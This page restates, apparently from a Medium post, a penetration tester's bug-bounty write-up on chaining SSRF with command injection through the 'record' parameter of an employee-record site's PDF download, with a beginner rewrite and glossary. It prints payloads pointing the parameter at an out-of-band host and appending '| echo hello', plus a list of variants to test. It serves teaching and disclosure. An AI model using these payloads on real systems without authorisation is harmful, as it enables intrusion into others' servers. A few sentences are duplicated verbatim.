The story of how I was able to chain SSRF with Command Injection Vulnerability
The employee record download feature accepted a user-supplied URL in the 'record' parameter and fetched it server-side, allowing SSRF. By appending a shell command to that URL, the attacker could also execute arbitrary commands on the server.
Published on medium.com
Hope you’re doing well, I am Raj Qureshi and I am a penetration tester. today I am doing another write-up about one of my best findings ever. In this write-up, I will be describing how I was able to chain SSRF attack with command injection Vulnerability.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Raj Qureshi, a penetration tester, describes one of his best findings: chaining server-side request forgery (SSRF) with OS command injection on an employee record management site. The site stores records of all employees and has a feature to store all transactions done by the employees. It also lets users download those records in PDF format.
The PDF download is the interesting part. When a user downloads a PDF, the site calls a URL on the server with a parameter called record. That parameter is what the researcher eventually abused.
Setup
The report does not describe any accounts, roles or versions. The only tool named is Burp Suite, used to capture and modify the PDF download request, together with Burp Collaborator, used to receive out-of-band callbacks. The precondition for the whole chain is simply that the record parameter is passed to a server-side request.
Finding it
While testing the site, the researcher noticed that downloading a PDF caused the site to call a URL to the server with the record parameter. The URL looked like this:
https://www.example.com/employeeRecord/?record=XYZ.pdf
A parameter that names a file and is fetched by the server is a natural SSRF candidate: if the server takes the value of record and requests it, the value can be pointed at a host of the attacker's choosing.
Exploitation
Step 1: Confirm the SSRF with Burp Collaborator
The researcher captured the PDF download request in Burp Suite and replaced the value of record with a Burp Collaborator URL:
https://www.example.com/employeeRecord/?record=http://burpcolaboratorlink.com
The researcher saw the response back in Burp Collaborator, confirming the server made a request to the supplied destination. That confirmed the server was making a request to an attacker-controlled destination on behalf of the application.
Step 2: Append a shell command
With SSRF confirmed, the researcher tried command injection by adding Linux commands at the end of the URL:
https://www.example.com/employeeRecord/?record=http://burpcolaboratorlink.com | echo hello
The result of the command came back in Burp Collaborator. The result of the command came back in Burp Collaborator, which is how the SSRF was chained to command injection on the employee record management site. That is how the SSRF was chained to command injection on the employee record management site.
Step 3: Report and disclosure
The researcher reported the findings to the site owners immediately with a detailed report of the vulnerabilities and their impact. They patched the vulnerabilities quickly and rewarded him for the responsible disclosure.

Root cause
The report does not describe the exact command the application builds, so the precise construction is not known. The report recommends validating and sanitising all user input before it is used in server-side requests.
Impact
An attacker can make the vulnerable server send requests to destinations of their choosing, which is the SSRF half of the chain, and can execute arbitrary commands on the server, which is the command injection half. The report does not enumerate which internal resources were reachable or what privileges the executing user had. It does note that limiting the privileges of the user executing the server-side code would minimise the impact of any potential vulnerabilities.
Fix
The site owners patched the vulnerabilities after the report. The report also states what the solution is in general terms: properly validate and sanitise all user input before using it in server-side requests, limit the privileges of the user executing the server-side code to minimise the impact of any potential vulnerabilities, and run regular security audits to help identify and fix vulnerabilities before attackers can exploit them.
Variants to test
- Any parameter that names a remote file. Where a download or export feature takes a filename or URL, replace it with a Collaborator URL. A positive result is an incoming DNS or HTTP interaction from the server.
- The same parameter with shell metacharacters appended. Try appending a command after the URL, as in the report. A positive result is the command's output or a callback arriving out of band.
- Other server-side consumers of the same input. If a value is used both to fetch a resource and to build a command, test each use separately. A positive result on either confirms the input is trusted in that context.
- Privilege of the executing user. If command execution is confirmed, check what the process can reach. A positive result is access to files or resources beyond what the feature needs, which shows the value of running the code with reduced privileges.
What happened, in plain words
A security researcher named Raj Qureshi was testing a website that manages employee records. The site keeps details about employees and about the transactions they make, and it lets users download those records as a PDF file. While downloading a PDF, he noticed that the site did something interesting behind the scenes: it asked a server to fetch a file for it, and the file name came from a part of the web address that he, the user, could control.
That one detail opened two doors. First, he could make the site's server fetch a file from a computer he controlled instead of from the site itself. That is called server-side request forgery, or SSRF. Second, he found that appending a Linux command to the value produced the command's result in Burp Collaborator, which is command injection. That is called command injection. Put together, the two flaws let him run commands on the site's server. He reported it, the owners fixed it quickly, and they paid him a reward for telling them responsibly.
This article walks through the same steps he took, in the same order, explaining every idea from scratch. You only need to be comfortable using a browser and a computer to follow along.
The site and the feature
The target was an employee record management site. In plain terms, it is a web application that a company might use to keep a list of its staff and a log of the money movements or other transactions each person makes. The report says it stores records of all employees and has a functionality to store all transactions done by the employees.
The feature that matters here is the PDF download. Many sites offer a button like "Download as PDF" so you can save a page or a report to your computer. When you click it, your browser does not usually build the PDF itself. Instead it asks the website's server to produce the file, and the server sends it back. The report says that when a user downloads a PDF, the site calls a URL on the server with a parameter called record.
Two words in that sentence need unpacking.
A URL is the address you type in a browser, like https://www.example.com/employeeRecord/. The part after the question mark is called the query string, and it carries small pieces of information called parameters. A parameter has a name and a value, written as name=value, and several can be joined with &. So in ?record=XYZ.pdf, the parameter is named record and its value is XYZ.pdf.
A server-side request means the website's own computer (the server) makes a request to another computer, rather than your browser doing it. Think of a restaurant: you (the browser) ask the waiter (the server) for a dish, and the waiter goes to the kitchen (another server) to fetch it. If you can choose which kitchen the waiter walks into, you can send the waiter almost anywhere.
Setup: the tools used
The report names only two tools, and both are part of Burp Suite, a popular toolkit for testing websites.
- Burp Suite is used to capture and modify requests. When your browser talks to a website, it sends a request and gets a response. Burp Suite sits in the middle like a post office clerk who can read your letter, change a word, and then send it on. The researcher used it to capture the PDF download request and change the value of
recordbefore the server saw it. - Burp Collaborator is a service that gives you a unique web address and then tells you if anything ever contacts it. Think of it as a doorbell attached to a house you own but never visit: if the bell rings, you know somebody walked up to the door. In security testing this is called an out-of-band callback, meaning the proof of contact arrives through a different channel than the normal response.
The report does not describe any accounts, roles or software versions. The only precondition for the whole chain is that the record parameter is passed to a server-side request, which is exactly what the researcher observed.
Finding it
While testing the site, the researcher noticed that downloading a PDF caused the site to call a URL to the server with the record parameter. The URL looked like this:
https://www.example.com/employeeRecord/?record=XYZ.pdf
Line by line:
https://is the protocol, the set of rules browsers and servers use to talk securely over the internet.www.example.comis the domain name, the human-friendly name of the website.example.comis a placeholder used in documentation, not a real company./employeeRecord/is the path, which tells the server which part of the site you want. Here it is the employee record section.?starts the query string.record=XYZ.pdfis the parameter. Its name isrecordand its value is a file name,XYZ.pdf.
Why did this catch his eye? Because a parameter that names a file and is fetched by the server is a natural candidate for SSRF. If the server takes whatever value you give for record and goes off to request it, then you can replace XYZ.pdf with an address of your own choosing. The server becomes your courier, and it may be able to reach places your browser cannot, such as internal systems on the company's network.
Exploitation
Step 1: Confirm the SSRF with Burp Collaborator
The researcher captured the PDF download request in Burp Suite and replaced the value of record with a Burp Collaborator URL:
https://www.example.com/employeeRecord/?record=http://burpcolaboratorlink.com
Line by line:
- The first part,
https://www.example.com/employeeRecord/?record=, is unchanged. This is still the site's own address and the same parameter name. - The value is now
http://burpcolaboratorlink.com, a placeholder for the unique address Burp Collaborator gave him.http://is the unencrypted version of the web protocol.
Why do this? The goal is to prove that the server, not the browser, is the one making the request. If the server fetches whatever address sits in record, then it will contact the Collaborator address. The Collaborator service records that contact and shows it to the researcher. The report says he was able to see the response back in Burp Collaborator, confirming the server made a request to the supplied destination.
In everyday terms: you tell the waiter to fetch a dish from a restaurant across town that you own.
Step 2: Append a shell command
With SSRF confirmed, the researcher tried command injection by adding Linux commands at the end of the URL:
https://www.example.com/employeeRecord/?record=http://burpcolaboratorlink.com | echo hello
Line by line:
- Everything up to and including
http://burpcolaboratorlink.comis the same Collaborator address as before. - A space, then
|, then a space. The vertical bar is called a pipe. On Linux and other Unix-like systems, a pipe takes the output of the command on its left and feeds it as input to the command on its right. It is also a shell metacharacter, meaning a character with special meaning to the shell, the program that reads and runs commands. echo hellois a very simple command that prints the wordhello. It is harmless on its own, which makes it a safe way to test whether commands are being run.
Why append a command? Because the researcher suspected the value of record was not only being fetched, but also being placed inside a command string that the server executed. If that were true, the pipe would end the first command and start a second one, and echo hello would run as a separate command.
The report says the result of the command came back in Burp Collaborator, which is how the SSRF was chained to command injection. That is how the SSRF was chained to command injection on the employee record management site.
A chain here simply means two flaws used one after the other. The first flaw (SSRF) lets you control where the server sends a request. The second flaw (command injection) lets you run commands on the server. Together they are more serious than either alone.
Step 3: Report and disclosure
The researcher reported the findings to the site owners immediately with a detailed report of the vulnerabilities and their impact. They patched the vulnerabilities quickly and rewarded him for the responsible disclosure.
Responsible disclosure is the practice of telling the owner of a system about a security problem privately, giving them time to fix it, instead of publishing it or using it for harm. A bounty is the payment some organisations make for a well-reported flaw.

The image accompanies the disclosure section, where the researcher describes reporting the issues and being rewarded after the site owners patched them.
Root cause
The report does not describe the exact command the application builds, so the precise construction is not known.
Two terms to unpack:
- Validation means checking that input is what you expect. If a field should contain a file name, validation would reject anything that is not a file name.
- Sanitisation means cleaning input so that dangerous characters lose their special meaning. For example, a pipe could be escaped or removed so the shell treats it as ordinary text.
The report recommends validating and sanitising all user input before it is used in server-side requests.
A useful comparison is a form at a hotel reception. If the clerk copies whatever you write on the form straight into the kitchen's order system, and you write "one coffee, and also unlock room 12", the kitchen may do both. The form should have been checked and the extra instruction stripped out.
Impact
An attacker can make the vulnerable server send requests to destinations of their choosing, which is the SSRF half of the chain, and can execute arbitrary commands on the server, which is the command injection half. The report does not enumerate which internal resources were reachable or what privileges the executing user had. It does note that limiting the privileges of the user executing the server-side code would minimise the impact of any potential vulnerabilities.
Privileges are the permissions an account or program has. A user with low privileges can read only a few files and change little; a user with high privileges, such as an administrator, can do almost anything. If the server runs commands as a low-privilege user, a successful command injection does less damage.
Fix
The site owners patched the vulnerabilities after the report. The report also states what the solution is in general terms: properly validate and sanitise all user input before using it in server-side requests, limit the privileges of the user executing the server-side code to minimise the impact of any potential vulnerabilities, and run regular security audits to help identify and fix vulnerabilities before attackers can exploit them.
A security audit is a planned review of a system to look for weaknesses, rather like a routine inspection of a building's locks and alarms before anything goes wrong.
Variants to test
If you ever test a site yourself, with permission, these are the same ideas generalised. Each one is a variation on the single observation that the record parameter was trusted.
- Any parameter that names a remote file. Where a download or export feature takes a filename or URL, replace it with a Collaborator URL. A positive result is an incoming DNS or HTTP interaction from the server. In plain terms: if the doorbell rings, the server went where you told it to go.
- The same parameter with shell metacharacters appended. Try appending a command after the URL, as in the report. A positive result is the command's output or a callback arriving out of band. The pipe is one metacharacter; others exist, but the report only demonstrates the pipe.
- Other server-side consumers of the same input. If a value is used both to fetch a resource and to build a command, test each use separately. A positive result on either confirms the input is trusted in that context. Think of a single key that opens both the front door and the safe: test each lock on its own.
- Privilege of the executing user. If command execution is confirmed, check what the process can reach. A positive result is access to files or resources beyond what the feature needs, which shows the value of running the code with reduced privileges.
Glossary
- API: a defined way for one piece of software to ask another for something, like a menu and ordering rules at a restaurant.
- Burp Collaborator: a service that provides a unique address and reports any contact made to it, used to detect out-of-band requests.
- Burp Suite: a toolkit used to capture, inspect and modify web traffic between a browser and a server.
- Bounty: a reward paid by an organisation for a responsibly reported security flaw.
- Chain: using two or more vulnerabilities one after another to achieve more than either alone.
- Command injection: a flaw where user input is placed into a command the server runs, letting an attacker add their own commands.
- DNS: the system that translates domain names into the numeric addresses computers use to find each other.
- Domain name: the human-friendly name of a website, such as
example.com. - Echo: a simple command that prints text, often used to test whether commands run.
- HTTP: the set of rules browsers and servers use to exchange requests and responses.
- HTTPS: HTTP with encryption, so the traffic cannot be read or altered in transit.
- Linux: a family of operating systems widely used on servers.
- Out-of-band callback: proof that a server contacted an address you control, arriving through a separate channel from the normal response.
- Parameter: a named value in a URL's query string, written as
name=value. - Path: the part of a URL that identifies which section of a site you want, such as
/employeeRecord/. - PDF: a file format for documents that look the same on any device.
- Penetration tester: a person who is paid to test systems for security weaknesses, with permission.
- Pipe: the
|character, which passes the output of one command as input to the next; a shell metacharacter. - Privileges: the permissions an account or program has to read, change or run things.
- Protocol: a set of rules for communication, such as HTTP or HTTPS.
- Query string: the part of a URL after the
?, carrying parameters. - Responsible disclosure: reporting a security flaw privately to its owner and giving them time to fix it.
- Sanitisation: cleaning input so dangerous characters lose their special meaning.
- Security audit: a planned review of a system to find weaknesses before attackers do.
- Server: a computer that provides a service, such as sending web pages or generating PDFs.
- Server-side request: a request made by the website's server to another computer, rather than by your browser.
- Shell: the program on a server that reads and runs commands.
- Shell metacharacter: a character such as
|that the shell treats as an instruction rather than plain text. - SSRF (server-side request forgery): a flaw that lets an attacker choose the destination of a request the server makes.
- URL: the address of something on the web, such as
https://www.example.com/employeeRecord/. - Validation: checking that input matches what is expected before using it.
- Web application: a program you use through a browser, running on a server.